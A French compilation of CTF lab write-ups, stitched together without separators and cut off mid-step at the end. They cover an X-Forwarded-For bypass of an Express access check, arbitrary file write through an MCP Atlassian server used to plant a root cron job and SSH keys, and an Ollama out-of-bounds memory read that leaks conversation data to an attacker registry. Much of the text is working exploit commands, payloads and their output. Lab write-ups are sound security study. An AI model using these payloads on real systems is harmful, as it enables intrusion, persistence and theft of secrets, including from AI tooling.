ASTERIX Aviation Security | SecDojo |

Informations générales

Objectif du challenge

Tester la sécurité d’une implémentation ASTERIX simulant une communication entre une tour radar et un afficheur de contrôle aérien, identifier les vulnérabilités, et démontrer leur impact en faisant disparaître un aéronef inconnu de l’afficheur pour obtenir le flag.

ASTERIX (Application of Surveillance Techniques for En-Route Inventory and Experimental) est le protocole standard Eurocontrol utilisé dans les systèmes de contrôle du trafic aérien (ATC) pour transmettre les données radar entre les capteurs et les afficheurs de contrôleurs.

Infrastructure cible

IP Attaquant  : 176.16.175.46   (Kali Linux — notre machine)
IP Radar      : 176.16.175.48   (tour radar)
IP Displayer  : 176.16.175.47   (afficheur ATC)

Phase 1 — Reconnaissance réseau

1.1 Identification de l’interface réseau

ip -br a
ip route get 176.16.175.48

lo    UNKNOWN  127.0.0.1/8 ::1/128
eth0  UP       176.16.175.46/16

176.16.175.48 dev eth0 src 176.16.175.46

Notre machine est sur le même segment /16 que les deux cibles. Pas de routage intermédiaire — communication directe possible.

1.2 Scan TCP — Top 2000 ports

sudo nmap -Pn -sS -sV --reason --top-ports 2000 \
  176.16.175.48 176.16.175.47 -oN scan-tcp.txt

Radar — 176.16.175.48

PORT     STATE  SERVICE   VERSION
22/tcp   open   ssh       OpenSSH 8.9p1 Ubuntu
4000/tcp open   http      "ASTERIX Data Server"

Displayer — 176.16.175.47

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 8.9p1 Ubuntu
3000/tcp open   http       Node.js Express — "EUROCONTROL Surveillance System"
3001/tcp open   websocket  Ogar/Socket.IO server

Le radar expose un service HTTP custom sur le port 4000. Le displayer expose une interface web Node.js/Express sur le port 3000 et un serveur WebSocket sur le port 3001.

Le SSH sur les deux machines requiert une clé — inutilisable sans credential.

1.3 Scan UDP

sudo nmap -Pn -sU --top-ports 1000 \
  176.16.175.48 176.16.175.47 -oN scan-udp.txt

PORT      STATE   SERVICE
2947/udp  closed  gpsd
5000/udp  closed  upnp
5004/udp  closed  avt-profile-1
30003/udp closed  unknown

Tous les ports UDP testés sont fermés. ASTERIX utilise normalement UDP (ports 5000 ou 30003 en déploiement réel), mais ici tout le trafic passe en TCP/HTTP — architecture custom du challenge.

Phase 2 — Exploration des services

2.1 Analyse du radar — port 4000

curl -v http://176.16.175.48:4000/
curl -v http://176.16.175.48:4000/targets
curl -v http://176.16.175.48:4000/aircraft
curl -v http://176.16.175.48:4000/api/data
curl -X POST http://176.16.175.48:4000/filter \
  -H "Content-Type: application/json" \
  -d '{"remove": "UNKNOWN"}'
curl -X DELETE http://176.16.175.48:4000/aircraft/UNK001

HTTP/1.1 200 OK
Content-Type: text/plain

ASTERIX Data Server

Observation critique : Le port 4000 répond “ASTERIX Data Server” à absolument toutes les requêtes, quelle que soit l’URL, la méthode HTTP (GET / POST / DELETE) ou le body. C’est un stub — il ne traite aucune donnée réelle. La logique métier est ailleurs.

2.2 Analyse du displayer — port 3000

Lecture du code source JavaScript embarqué

curl -s http://176.16.175.47:3000/ > displayer.html

Le code source de la page HTML contient l’intégralité de la logique client. Trois découvertes majeures :

a) Architecture WebSocket (Socket.IO)

this._ws = new WebSocket(
  'ws://' + window.location.host + '/socket.io/?EIO=4&transport=websocket'
);

Le browser se connecte en Socket.IO sur le port 3000 (pas 3001 comme nmap l’avait fingerprinted). Le port 3001 est un artefact du scan.

b) Condition de déclenchement du flag

// Condition 1 : l'avion inconnu disparaît après avoir été présent
if (this.previousUnknownAircraftPresent && !currentUnknownPresent) {
    this.showFlag();
}

// Condition 2 : exactement 4 avions légitimes présents, sans inconnu
if (this.aircraft.length === 4 && !currentUnknownPresent) {
    this.showFlag();
}

Les 4 avions légitimes attendus : AAL123, UAL456, DAL789, SWA101.
L’avion inconnu est identifié par aircraft.known === false.

c) Endpoint de récupération du flag

const response = await fetch('/api/system/diagnostics/memory/0x7f3a2b9c');
if (response.ok) {
    const result = await response.json();
    flagValue = result.data.code;  // ← le flag est ici
}

Ce endpoint retourne 403 Forbidden depuis notre IP — protégé par un contrôle d’accès basé sur l’IP source.

2.3 Exploration des ports locaux via /proc/net/tcp

cat /proc/net/tcp | head -20

Décodage des adresses hexadécimales :

0xD903 = 55555   → HTTP (405 Method Not Allowed)
0xD904 = 55556   → HTTPS
0xD905 = 55557   → HTTPS
0x22B9 = 8889    → Redirect vers /?folder=/ (VS Code Server)
0x1FA0 = 8088    → Service local

for port in 55555 55556 55557 8889 8888; do
    echo -n "Port $port: "
    curl -s --max-time 2 http://127.0.0.1:$port/ | head -c 100
    echo
done

Port 55555: <!DOCTYPE HTML> ... Error response ... 405 Method Not Allowed
Port 55556: 400 The plain HTTP request was sent to HTTPS port
Port 55557: 400 The plain HTTP request was sent to HTTPS port
Port 8889:  Found. Redirecting to ./?folder=/
Port 8888:  <!doctype html> ... (Jupyter Notebook)

Des services tournent en localhost sur notre machine d’attaque — environnement lab avec Jupyter et VS Code Server disponibles. Surtout, cela suggère que des endpoints restreints pourraient n’autoriser que les connexions depuis 127.0.0.1.

Phase 3 — Tentatives d’exploitation

3.1 Récupération du SID Socket.IO

curl -s "http://176.16.175.47:3000/socket.io/?EIO=4&transport=polling"

0{"sid":"SLRZePHHtqipQH7eAAAA","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Socket.IO confirmé sur le port 3000. Le SID nous permet d’établir une connexion WebSocket authentifiée.

3.2 Tentative — Injection Socket.IO (échec)

Stratégie : Se connecter en Socket.IO au displayer et injecter un événement aircraftData ne contenant que les 4 avions légitimes, pour déclencher showFlag() côté browser.

# Connexion WebSocket + envoi Socket.IO
ws_send(ws, "40")  # Socket.IO connect
payload = '42' + json.dumps(["aircraftData", aircraft_clean])
ws_send(ws, payload)

[WS Handshake] HTTP/1.1 101 Switching Protocols
[RECV] B42["restrictedAreaData",{"centerX":200,"centerY":150,"radius":50}]

Résultat : échec. Le displayer est le serveur Socket.IO — il envoie aircraftData aux browsers connectés, il ne reçoit pas de données depuis des clients externes. Les données aircraftData proviennent du backend Node.js qui les pull depuis le radar, pas de nous.

3.3 Tentative — Accès direct au endpoint flag (403)

curl -s http://176.16.175.47:3000/api/system/diagnostics/memory/0x7f3a2b9c

HTTP/1.1 403 Forbidden

Le serveur Express vérifie l’IP source de la requête. Depuis notre IP 176.16.175.46, l’accès est refusé.

Phase 4 — Exploitation : bypass 403 par header spoofing

4.1 Concept

De nombreux serveurs Node.js/Express déployés derrière un reverse proxy font confiance aux headers HTTP X-Forwarded-For et X-Real-IP pour déterminer l’IP réelle du client.

Si le serveur est mal configuré, n’importe quel client peut forger ces headers pour usurper une IP de confiance.

Le serveur implémente probablement une logique de ce type :

// Code côté serveur (vulnérable)
const clientIP = req.headers['x-forwarded-for'] ||
                 req.headers['x-real-ip']       ||
                 req.socket.remoteAddress;

if (clientIP !== '127.0.0.1') {
    return res.status(403).json({ error: 'Forbidden' });
}
// Si clientIP === '127.0.0.1' → accès autorisé

Sans configurer Express avec app.set('trust proxy', false) ou une whitelist de proxies de confiance, le header est accepté tel quel.

4.2 Exploitation

curl -s \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Real-IP: 127.0.0.1" \
  http://176.16.175.47:3000/api/system/diagnostics/memory/0x7f3a2b9c

{
  "status": "success",
  "data": {
    "code": "flag_060c5011_e00b_4609_b5a1_550ff23611ac",
    "timestamp": 1793701328060
  }
}

✅ Bypass réussi. Le serveur a accepté notre IP forgée 127.0.0.1 comme IP source légitime et retourné le flag.

Flag

flag_060c5011_e00b_4609_b5a1_550ff23611ac

Schéma d’attaque

┌──────────────────────────────────────────────────────────┐
│                   RÉSEAU 176.16.175.0/16                 │
│                                                          │
│  ┌──────────────┐   HTTP    ┌──────────────────────────┐ │
│  │ RADAR :4000  │ ────────► │  DISPLAYER :3000         │ │
│  │ (stub HTTP)  │           │  (Node.js Express)       │ │
│  └──────────────┘           │                          │ │
│                             │  /api/system/...         │ │
│  ┌──────────────┐           │  → 403 si IP ≠ localhost │ │
│  │  ATTAQUANT   │           │                          │ │
│  │ .175.46      │           └──────────────────────────┘ │
│  │              │                        ▲               │
│  │  curl +      │   X-Forwarded-For:     │               │
│  │  X-Fwd-For   │ ──────────────────────►│ BYPASS 403 ✓ │
│  │  127.0.0.1   │                        │               │
│  └──────────────┘             FLAG RETOURNÉ ✓            │
└──────────────────────────────────────────────────────────┘

Vulnérabilités identifiées

CVE-like #1 — Confiance aveugle dans les headers de proxy

Remédiation :

// ✅ Ne jamais faire confiance aux headers proxy
app.set('trust proxy', false);

// ✅ Vérifier l'IP socket réelle uniquement
const clientIP = req.socket.remoteAddress;
if (clientIP !== '127.0.0.1') {
    return res.status(403).json({ error: 'Forbidden' });
}

// ✅ Si proxy nécessaire : whitelist stricte
app.set('trust proxy', '10.0.0.1'); // IP load balancer uniquement

CVE-like #2 — Endpoint de diagnostic sans authentification forte

Remédiation : Implémenter une authentification par token (JWT / API key) en complément du contrôle IP.

CVE-like #3 — Fuite de logique applicative dans le code source client

Remédiation : Minifier et obfusquer le JS client. Ne jamais inclure d’endpoints d’API sensibles dans le code frontend.

Mapping MITRE ATT&CK

Chronologie

09:58 UTC → Scan Nmap TCP/UDP des deux cibles
10:04 UTC → Fingerprinting détaillé des services
10:06 UTC → Exploration HTTP radar port 4000 → stub détecté
10:07 UTC → Lecture code source JS displayer → endpoint flag identifié
10:15 UTC → Tentative Socket.IO injection → connexion OK mais inefficace
10:22 UTC → Header X-Forwarded-For bypass → FLAG obtenu ✓

Durée totale de résolution : ~25 minutes

Conclusion

Ce challenge illustre une vulnérabilité critique et très répandue en production : le contrôle d’accès basé sur l’IP source, implémenté en faisant aveuglément confiance aux headers HTTP de proxy. Cette erreur de configuration affecte un grand nombre d’applications Node.js/Express déployées derrière un reverse proxy ou un load balancer.

La chaîne d’exploitation a requis :

1. Une reconnaissance méthodique (Nmap TCP/UDP) pour cartographier les services
2. Une lecture attentive du code source client (JS embarqué) pour comprendre la logique de déclenchement du flag et identifier l’endpoint cible
3. Une connaissance des headers HTTP standard (X-Forwarded-For) pour bypasser la protection IP

Leçon clé : Un contrôle d’accès ne doit jamais reposer uniquement sur l’IP source, et encore moins sur des headers que le client peut librement forger. Une authentification par token (JWT, session, API key) doit toujours compléter — ou remplacer — les restrictions réseau.

Writeup rédigé par Berrahal Mohammed — SecDojo CTF — 03/11/2026

Ce rapport décrit uniquement les opérations effectuées sur la machine attribuée au lab. Les étapes d’écriture arbitraire et d’exécution cron sont intrusives : ne pas les reproduire sur un système tiers.

Résultat

• Flag local récupéré : flag_57772dfb_a045_47eb_9b02_5a01965029fe
• /root/proof.txt : absent ou illisible dans le contexte d’exécution de la tâche cron

Schéma général du lab

1. Résumé exécutif

Le lab exposait un serveur MCP Atlassian en SSE sur le port 9000. L’outil confluence_download_attachment acceptait un chemin de destination arbitraire, comportement correspondant à la vulnérabilité d’écriture de fichier décrite pour CVE-2026-27825. En parallèle, un serveur HTTP statique sur le port 8080 servait le répertoire /var/www/html du même environnement que le serveur MCP : cette relation a été vérifiée en écrivant une copie d’une pièce jointe sous /var/www/html/mer-probe.txt, puis en la lisant via HTTP.

Le chemin vers le flag :

1. Découverte des services
2. Énumération des outils MCP
3. Contournement de route par page_id
4. Découverte d’une page Confluence valide
5. Confirmation de l’écriture arbitraire et du répertoire web partagé
6. Dépôt d’une tâche cron au moyen d’une pièce jointe
7. Lecture du fichier résultat via le port 8080

2. Cartographie de la cible

2.1 Scan TCP complet

sudo nmap -Pn -n -p- -sV --open -T4 176.16.174.39

Sortie observée :

Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    SimpleHTTPServer 0.6 (Python 3.11.15)
9000/tcp open  http    Uvicorn
MAC Address: 06:FF:EA:32:99:87 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Interprétation :

2.2 Énumération web initiale

gobuster dir \
  -u "http://176.16.174.39:8080/" \
  -w /usr/share/wordlists/dirb/common.txt \
  -x txt,html,json,py,conf,log,bak \
  -t 20 \
  -s 200,204,301,302,307,401,403 \
  -b ""

Avant le dépôt du fichier cron :

index.html    (Status: 200) [Size: 35]

Après l’exécution de la tâche cron :

flag.txt      (Status: 200) [Size: 90]
index.html    (Status: 200) [Size: 35]
index.html    (Status: 200) [Size: 35]
Progress: 36904 / 36904 (100.00%)

La découverte de flag.txt en 200 confirme que le fichier de sortie créé sous /var/www/html/flag.txt était accessible au serveur statique. Le doublon index.html est un artefact de Gobuster avec l’option -x ; ce n’est pas un second flag.

3. Connexion et découverte du protocole MCP

3.1 Transport SSE

L’endpoint SSE fonctionnel :

curl -N "http://176.16.174.39:9000/sse"

Réponse observée :

event: endpoint
data: /messages/?session_id=<identifiant-de-session>

Il fallait conserver le session_id fourni, puis envoyer les requêtes JSON-RPC à /messages/?session_id=....

Requête d’initialisation :

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "initialize",
  "params": {
    "protocolVersion": "2024-11-05",
    "capabilities": {},
    "clientInfo": {"name": "lab", "version": "1.0"}
  }
}

Réponse MCP abrégée :

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "protocolVersion": "2024-11-05",
    "capabilities": {
      "experimental": {},
      "prompts": {"listChanged": false},
      "resources": {"subscribe": false, "listChanged": false},
      "tools": {"listChanged": false}
    },
    "serverInfo": {"name": "mcp-atlassian", "version": "1.26.0"}
  }
}

Notification d’initialisation :

{"jsonrpc": "2.0", "method": "notifications/initialized"}

Le point d’entrée /mcp a répondu HTTP/1.1 404 Not Found. Les échanges suivants ont donc utilisé le transport SSE confirmé.

3.2 Outils exposés

L’appel tools/list a révélé six outils :

Le serveur annonçait la version mcp-atlassian 1.26.0. L’avis CVE et l’avis GitHub décrivent la vulnérabilité upstream comme affectant les versions antérieures à 0.17.0. L’écart entre ce numéro upstream et le serverInfo observé empêche d’identifier la version du paquet sous-jacent à partir de cette seule bannière ; le rapport conclut sur le comportement effectivement testé.

4. Découverte de la page Confluence et path traversal de route

L’espace ENG avait l’identifiant 65540. Les premiers essais (page_id=65540, 200000, 200001) ont échoué : 65540 était un ID d’espace, non un ID de page.

Un argument page_id contenant un segment de remontée a toutefois été interprété comme partie du chemin de l’API interne. La forme à un niveau a permis d’interroger la liste des pages :

{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "tools/call",
  "params": {
    "name": "confluence_get_page",
    "arguments": {"page_id": "../pages?space-id=65540&limit=100"}
  }
}

Sortie utile :

{
  "results": [{
    "body": {"storage": {"representation": "storage", "value": "<p>Sprint planning notes for Q1 2026.</p>"}},
    "id": "101001",
    "spaceId": "65540",
    "status": "current",
    "title": "Q1 Sprint Planning"
  }]
}

La page valide était donc 101001, intitulée Q1 Sprint Planning, dans l’espace ENG.

Récupération des métadonnées de la pièce jointe :

{
  "jsonrpc": "2.0",
  "id": 4,
  "method": "tools/call",
  "params": {
    "name": "confluence_get_page",
    "arguments": {"page_id": "../attachments/att200001"}
  }
}

Sortie observée :

{
  "fileSize": 84,
  "id": "att200001",
  "mediaType": "text/plain",
  "pageId": "101001",
  "status": "current",
  "title": "meeting-notes.txt"
}

5. Confirmation de l’écriture arbitraire et du répertoire web partagé

5.0 Fonction shell réutilisable (helper MCP)

IP=176.16.174.39

mcp_call() {
  local payload="$1" rid="$2" log sid pid
  log=$(mktemp)
  curl -sN "http://$IP:9000/sse" >"$log" 2>&1 &
  pid=$!
  for _ in $(seq 1 20); do
    sid=$(sed -n 's/.*session_id=//p' "$log" | head -n1 | tr -d '\r')
    [ -n "$sid" ] && break
    sleep 0.25
  done
  if [ -z "$sid" ]; then
    cat "$log"; kill "$pid" 2>/dev/null; rm -f "$log"; return 1
  fi

  post_mcp() {
    curl -sS -X POST "http://$IP:9000/messages/?session_id=$sid" \
      -H 'Content-Type: application/json' --data-binary "$1" >/dev/null
  }

  post_mcp '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"lab","version":"1.0"}}}'
  sleep 1
  post_mcp '{"jsonrpc":"2.0","method":"notifications/initialized"}'
  post_mcp "$payload"
  sleep 3
  grep -A1 "\"id\":$rid" "$log"
  kill "$pid" 2>/dev/null
  rm -f "$log"
}

5.1 Lecture/téléchargement vers un chemin local

mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"att200001","download_path":"/opt/app/meeting-notes.txt"}}}' 2

Réponse observée :

{
  "status": "success",
  "attachment_id": "att200001",
  "title": "meeting-notes.txt",
  "size": 84,
  "saved_to": "/opt/app/meeting-notes.txt"
}

Cela confirme que download_path est utilisé comme destination d’écriture, conformément au défaut de validation de chemin décrit par la fiche CVE et l’avis GitHub.

5.2 Preuve contrôlée sur le webroot

mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"att200001","download_path":"/var/www/html/mer-probe.txt"}}}' 2

Réponse MCP :

{"status": "success", ..., "saved_to": "/var/www/html/mer-probe.txt"}

Vérification HTTP :

curl -sS -i http://176.16.174.39:8080/mer-probe.txt

Retour HTTP 200 :

Meeting notes - Q1 sprint planning.
Action items:
- Review backlog
- Assign stories

Déduction déterminante : /var/www/html était accessible en écriture par l’outil MCP et exposé par le serveur statique sur le port 8080. Ce canal a fourni la primitive d’exfiltration du résultat cron.

5.3 Autres chemins de test

Boucle de test utilisée :

n=2
for path in \
  /var/www/html/mer-probe.txt \
  /usr/share/nginx/html/mer-probe.txt \
  /srv/www/mer-probe.txt \
  /opt/app/static/mer-probe.txt \
  /opt/app/public/mer-probe.txt \
  /opt/app/mer-probe.txt \
  /tmp/mer-probe.txt
do
  payload=$(python3 -c 'import json,sys; print(json.dumps({"jsonrpc":"2.0","id":int(sys.argv[1]),"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"att200001","download_path":sys.argv[2]}}}))' "$n" "$path")
  mcp_call "$payload" "$n"
  n=$((n+1))
done

6. Tentatives écartées

Commandes de vérification associées :

# Recherches CQL infructueuses
mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_search","arguments":{"query":"type=attachment"}}}' 2
mcp_call '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"confluence_search","arguments":{"query":"type=attachment AND space=ENG"}}}' 3
mcp_call '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"confluence_search","arguments":{"query":"type=attachment AND text~\"flag\""}}}' 4

# Test du point d'entrée /mcp (streamable HTTP)
curl -i -X POST "http://176.16.174.39:9000/mcp" \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  --data-binary '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"lab","version":"1.0"}}}'
# → HTTP/1.1 404 Not Found

# Tentatives SSH par clé publique
for user in root ubuntu local; do
  ssh -i /tmp/mer-lab-key -o IdentitiesOnly=yes \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/tmp/mer_known_hosts \
    "$user@176.16.174.39" 'id'
done
# → Permission denied (publickey) pour les trois comptes

# Chemins HTTP directs
IP=176.16.174.39
for path in /local.txt /proof.txt /flag /flag.txt /robots.txt /.env; do
  echo "===== $path ====="
  curl -sS --max-time 3 -w '\nHTTP %{http_code}\n' "http://$IP:8080$path" | head -c 500
  echo
done

7. Récupération du flag par tâche cron

7.1 Contenu téléversé

La pièce jointe dédiée a été ajoutée à la page 101001 avec le contenu suivant :

* * * * * root cat /home/local.txt /root/proof.txt > /var/www/html/flag.txt 2>&1; rm -f /etc/cron.d/mer-flag

Appel JSON-RPC d’upload :

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "confluence_upload_attachment",
    "arguments": {
      "page_id": "101001",
      "filename": "mer-cron.txt",
      "content": "* * * * * root cat /home/local.txt /root/proof.txt > /var/www/html/flag.txt 2>&1; rm -f /etc/cron.d/mer-flag\n"
    }
  }
}

Réponse de l’upload :

{
  "fileSize": 109,
  "id": "attbcca3471",
  "mediaType": "application/octet-stream",
  "pageId": "101001",
  "status": "current",
  "title": "mer-cron.txt"
}

Commande shell complète :

CRON='* * * * * root cat /home/local.txt /root/proof.txt > /var/www/html/flag.txt 2>&1; rm -f /etc/cron.d/mer-flag'
UPLOAD=$(python3 -c 'import json,sys; print(json.dumps({"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_upload_attachment","arguments":{"page_id":"101001","filename":"mer-cron.txt","content":sys.argv[1]+"\n"}}}))' "$CRON")
mcp_call "$UPLOAD" 2
# → ID : attbcca3471 | fileSize: 109

7.2 Écriture de la tâche dans /etc/cron.d/

mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"confluence_download_attachment","arguments":{"attachment_id":"attbcca3471","download_path":"/etc/cron.d/mer-flag"}}}' 2

Interprétation de la ligne cron :

L’écriture d’une entrée cron est également citée comme exemple d’impact dans la fiche CVE officielle et l’avis de sécurité du projet.

7.3 Lecture du résultat

IP=176.16.174.39
for i in $(seq 1 15); do
  echo "===== essai $i ====="
  curl -sS --max-time 3 -w '\nHTTP %{http_code}\n' \
    "http://$IP:8080/flag.txt"
  echo
  sleep 5
done

Les 11 premiers essais répondaient 404. À partir de l’essai 12 :

flag_57772dfb_a045_47eb_9b02_5a01965029fe
cat: /root/proof.txt: No such file or directory
HTTP 200

Confirmation directe :

curl -sS http://176.16.174.39:8080/flag.txt

8. Conclusion et chaîne causale

🏁 Flag final

flag_57772dfb_a045_47eb_9b02_5a01965029fe

cat: /root/proof.txt: No such file or directory

9. État des modifications et nettoyage

Fichiers écrits sur la cible :

• /opt/app/meeting-notes.txt
• /var/www/html/mer-probe.txt
• /usr/share/nginx/html/mer-probe.txt, /srv/www/mer-probe.txt, /opt/app/static/mer-probe.txt, /opt/app/public/mer-probe.txt, /opt/app/mer-probe.txt, /tmp/mer-probe.txt
• /etc/cron.d/mer-flag (auto-suppression incluse, non vérifiée)
• /var/www/html/flag.txt

Pièces jointes créées sur la page 101001 :

• mer-lab-key.pub, content-probe.txt, local-copy.txt, mer-cron.txt

Tentatives d’écriture de clé SSH :

• /root/.ssh/authorized_keys2, /root/.ssh/authorized_keys
• /home/ubuntu/.ssh/authorized_keys, /home/local/.ssh/authorized_keys
• → Connexions SSH refusées dans les trois cas

Conseil de remise en état : supprimer les fichiers de test confirmés, vérifier et retirer /etc/cron.d/mer-flag s’il existe encore, retirer les clés SSH éventuellement déposées. Ne pas utiliser l’outil d’écriture pour déposer une chaîne vide : cela tronque le fichier sans le supprimer. Les pièces jointes Confluence peuvent être supprimées via les fonctions d’administration du lab.

10. Limites de la retranscription

Les commandes MCP réutilisaient souvent un même squelette (ouverture SSE → session_id → initialize → notifications/initialized → tools/call). Pour éviter la répétition, ce rapport reproduit les requêtes JSON-RPC déterminantes et conserve les sorties pertinentes. La confirmation brute de l’écriture cron n’est pas présente dans les extraits transmis ; le succès d’exécution est établi par l’apparition ultérieure de flag.txt via HTTP et par son corps observé.

11. Dernière vérification Gobuster après exploitation

gobuster dir \
  -u "http://176.16.174.39:8080/" \
  -w /usr/share/wordlists/dirb/common.txt \
  -x txt,html,json,py,conf,log,bak \
  -t 20 \
  -s 200,204,301,302,307,401,403 \
  -b ""

Sortie pertinente :

flag.txt      (Status: 200) [Size: 90]
index.html    (Status: 200) [Size: 35]
index.html    (Status: 200) [Size: 35]
Progress: 36904 / 36904 (100.00%)

Cette énumération finale confirme que le cron avait créé flag.txt et que le serveur statique le rendait accessible en HTTP 200. Le doublon index.html est un artefact de Gobuster ; le résultat déterminant est flag.txt.

Références

Bleeding Llama : Exploitation complète d’Ollama 0.17.0

Date : 29 octobre 2026
Flag : flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d

1. Objectif et résultat

Le challenge Hollowford demande de compromettre un hôte Linux exécutant Ollama 0.17.0 comme assistant de programmation interne. L’objectif est d’exploiter CVE-2026-7482 (“Bleeding Llama”) pour extraire des fragments de l’historique des conversations stockés en mémoire du processus.

Résultat : Flag extrait avec succès depuis la mémoire heap du processus Ollama :

flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d

Ce flag était contenu dans un fragment de conversation où un utilisateur transmettait son mot de passe sudo à l’assistant IA.

2. Contexte CVE-2026-7482

Qu’est-ce que CVE-2026-7482 ?

Mécanisme de la vulnérabilité

Ollama permet à n’importe qui (sans authentification) d’envoyer un fichier GGUF via /api/create avec une demande de quantification. Le chemin de quantification dans fs/ggml/gguf.go et server/quantization.go ne valide pas que la taille du tenseur déclarée dans les métadonnées GGUF correspond aux données réellement présentes dans le fichier.

Concrètement :

• Un attaquant crée un fichier GGUF où le tenseur déclare avoir 8 192 bytes de données
• Mais le fichier ne contient que 256 bytes réels
• Lors de la quantification F32, Ollama lit les 8 192 bytes depuis le heap → il lit 7 936 bytes de mémoire adjacente qui n’appartiennent pas au fichier
• Cette mémoire contient : variables d’environnement, clés API, messages de conversation, system prompts
• La mémoire leakée est incorporée dans le modèle quantifié qui peut ensuite être pushé vers un registry contrôlé par l’attaquant

Chaîne d’attaque en 3 appels API

POST /api/blobs   → Upload du GGUF malveillant
POST /api/create  → Quantification déclenche le OOB read
POST /api/push    → Exfiltration du modèle (contenant la mémoire) vers l'attaquant

3. Chaîne d’exploitation (vue d’ensemble)

[Kali 176.16.174.2]                    [Cible 176.16.174.3]
        │                                       │
        │  1. nmap → port 11434 ouvert          │
        │──────────────────────────────────────►│
        │                                       │
        │  2. Upload GGUF malveillant           │
        │  POST /api/blobs/sha256:<hash>        │
        │──────────────────────────────────────►│
        │                            201 Created│
        │◄──────────────────────────────────────│
        │                                       │
        │  3. Créer modèle + quantifier         │
        │  POST /api/create {quantize:"F32"}    │
        │──────────────────────────────────────►│
        │              OOB READ dans le heap    │
        │              → mémoire leakée         │
        │                    {"status":"success"}│
        │◄──────────────────────────────────────│
        │                                       │
        │  4. Push vers registry Kali:5000      │
        │  POST /api/push                       │
        │──────────────────────────────────────►│
        │                                       │
        │◄─── blob_15_1048960.bin ──────────────│
        │     (524 032 bytes de mémoire heap)   │
        │                                       │
        │  5. Décodage GGUF F32→F16→ASCII       │
        │  → flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d

4. Étape 1 — Reconnaissance

Commande : Scan Nmap

nmap -sV -p- 176.16.174.3

Explication des options :

• -sV : détecte la version des services sur chaque port
• -p- : scanne les 65 535 ports TCP (pas seulement les 1 000 courants)
• 176.16.174.3 : adresse IP de la machine cible fournie par le lab

Sortie observée

Starting Nmap 7.99 at 2026-10-29 11:46 +0000
Nmap scan report for 176.16.174.3
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3
11434/tcp open  http    Golang net/http server

Ce que ça révèle :

• Port 22 : SSH ouvert, mais on n’a pas de credentials pour l’instant
• Port 11434 : serveur HTTP Go → c’est le port par défaut d’Ollama
• Le fingerprint HTTP confirme qu’Ollama est en cours d’exécution

Commandes de vérification Ollama

curl http://176.16.174.3:11434/api/version

{"version":"0.17.0"}

curl http://176.16.174.3:11434/api/tags

{"models":[{
  "name":"tinyllama:1.1b-chat-v1-q2_K",
  "model":"tinyllama:1.1b-chat-v1-q2_K",
  "size":483117098,
  "details":{"family":"llama","parameter_size":"1B","quantization_level":"Q2_K"}
}]}

curl http://176.16.174.3:11434/api/ps

{"models":[{
  "name":"tinyllama:1.1b-chat-v1-q2_K",
  "size":506040320,
  "expires_at":"2026-10-29T12:47:38Z",
  "size_vram":0,
  "context_length":2048
}]}

Analyse : Ollama 0.17.0 est confirmé vulnérable (patch en 0.17.1). Le modèle tinyllama est chargé en RAM (size_vram: 0), ce qui signifie que des conversations peuvent exister en mémoire heap.

Lien avec l’étape suivante : On sait que la cible est vulnérable. Il faut maintenant construire l’arme : un fichier GGUF malveillant.

5. Étape 2 — Compréhension du vecteur d’attaque

Pourquoi le GGUF est le vecteur ?

Le format GGUF (GPT-Generated Unified Format) est le format de fichier utilisé par llama.cpp et Ollama pour stocker les modèles. Il contient :

• Un header avec magic bytes GGUF
• Des métadonnées clé-valeur (version, architecture, file_type…)
• Des définitions de tenseurs (nom, dimensions, type, offset)
• Les données brutes des tenseurs

La vulnérabilité : Ollama lit tensor.shape[0] * tensor.shape[1] * sizeof(F16) bytes depuis le heap sans vérifier que le fichier contient réellement autant de données. Si le fichier est court, il continue à lire la mémoire adjacente.

Pourquoi quantize: F32 ?

Lorsqu’on demande une quantification F32 sur un modèle F16 :

1. Ollama alloue un buffer de nb_elements * 4 bytes (F32 = 4 bytes/valeur)
2. Il copie les valeurs F16 source vers F32 destination
3. La copie se fait sans bornes → lit au-delà du fichier
4. La mémoire heap adjacente est copiée dans le modèle de sortie
5. Le modèle de sortie est un fichier GGUF valide contenant la mémoire leakée

Lien avec l’étape suivante : On doit créer un GGUF avec les bonnes métadonnées pour passer la validation d’Ollama, tout en déclarant un tenseur plus grand que les données réelles.

6. Étape 3 — Génération du GGUF malveillant

Pourquoi les premières tentatives ont échoué

La première version du GGUF artisanal produisait :

{"error":"quantization is only supported for F16 and F32 models"}

Cause : Ollama vérifie la métadonnée general.file_type dans le GGUF. Sans cette métadonnée, le modèle est de type unknown et la quantification est refusée.

Solution : utiliser le PoC public

Le dépôt msuiche/gguf_cve2026_7482 contient un générateur adapté.

# Cloner le PoC
cd ~
